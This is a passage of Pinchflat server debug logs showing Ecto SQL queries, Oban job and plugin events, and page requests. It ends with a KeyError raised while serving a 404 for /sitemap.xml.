((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:30:27.447 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 19:30:27.448 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17083, 3, ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z]] 19:30:27.448 [info] {"args":{"id":3},"id":17078,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":36511280,"event":"job:stop","queue_time":754245,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:30:47.814 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.188 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:17.816 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:47.818 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.189 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:17.820 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:26.083 [info] GET /sources/2/media/469491 19:32:26.083 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 19:32:26.083 [debug] QUERY OK source="media_items" db=0.1ms idle=948.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 19:32:26.084 [debug] QUERY OK source="tasks" db=0.2ms idle=301.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 19:32:26.084 [debug] QUERY OK source="sources" db=0.2ms idle=301.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:32:26.084 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=301.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 19:32:26.085 [debug] QUERY OK source="settings" db=0.1ms idle=302.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.085 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.085 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.086 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:32:26.087 [info] Sent 200 in 4ms 19:32:26.290 [info] GET /sources/2/media/472253 19:32:26.290 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 19:32:26.290 [debug] QUERY OK source="media_items" db=0.2ms idle=205.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 19:32:26.291 [debug] QUERY OK source="tasks" db=0.2ms idle=205.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 19:32:26.291 [debug] QUERY OK source="sources" db=0.4ms idle=205.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:32:26.292 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=205.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 19:32:26.292 [debug] QUERY OK source="settings" db=0.1ms idle=156.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.292 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.293 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:26.293 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:32:26.295 [info] Sent 200 in 4ms 19:32:42.889 [info] GET /sources/2/media/482073 19:32:42.889 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 19:32:42.889 [debug] QUERY OK source="media_items" db=0.2ms idle=1107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:32:42.890 [debug] QUERY OK source="tasks" db=0.3ms idle=1107.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 19:32:42.890 [debug] QUERY OK source="sources" db=0.3ms idle=1107.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:32:42.891 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1108.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16832, 17080] 19:32:42.891 [debug] QUERY OK source="settings" db=0.0ms idle=735.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:42.891 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:42.892 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:32:42.892 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:32:42.894 [info] Sent 200 in 4ms 19:32:47.822 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.190 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:17.824 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:47.826 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.191 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:07.066 [info] GET /app_info 19:34:07.066 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 19:34:07.067 [debug] QUERY OK source="settings" db=0.1ms idle=1284.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:07.067 [debug] QUERY OK source="settings" db=0.0ms idle=1284.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:07.067 [debug] QUERY OK source="settings" db=0.1ms idle=1285.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:07.068 [debug] QUERY OK source="settings" db=0.1ms idle=1285.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:07.068 [debug] QUERY OK source="settings" db=0.1ms idle=799.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:07.069 [info] Sent 200 in 2ms 19:34:17.828 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:33.193 [info] GET /sources/2 19:34:33.193 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 19:34:33.194 [debug] QUERY OK source="sources" db=0.2ms idle=1411.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:34:33.194 [debug] QUERY OK source="media_profiles" db=0.2ms idle=885.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:34:33.197 [debug] QUERY OK source="tasks" db=3.1ms idle=412.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 19:34:33.198 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=415.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17081] 19:34:33.198 [debug] QUERY OK source="settings" db=0.1ms idle=416.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:33.198 [debug] QUERY OK source="settings" db=0.0ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:33.199 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:33.200 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:34:33.202 [debug] QUERY OK source="media_items" db=1.4ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:34:33.204 [debug] QUERY OK source="media_items" db=1.6ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:34:33.204 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:34:33.205 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:34:33.207 [debug] QUERY OK source="media_items" db=1.6ms idle=4.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:34:33.208 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:34:33.209 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 19:34:33.211 [debug] QUERY OK source="media_items" db=1.7ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:34:33.212 [info] Sent 200 in 19ms 19:34:33.389 [info] GET /sitemap.xml 19:34:33.389 [debug] QUERY OK source="settings" db=0.1ms idle=182.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:33.389 [debug] QUERY OK source="settings" db=0.1ms idle=181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:34:33.390 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:34:33.390 [error] #PID<0.164178.0> running PinchflatWeb.Endpoint (connection #PID<0.164177.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap 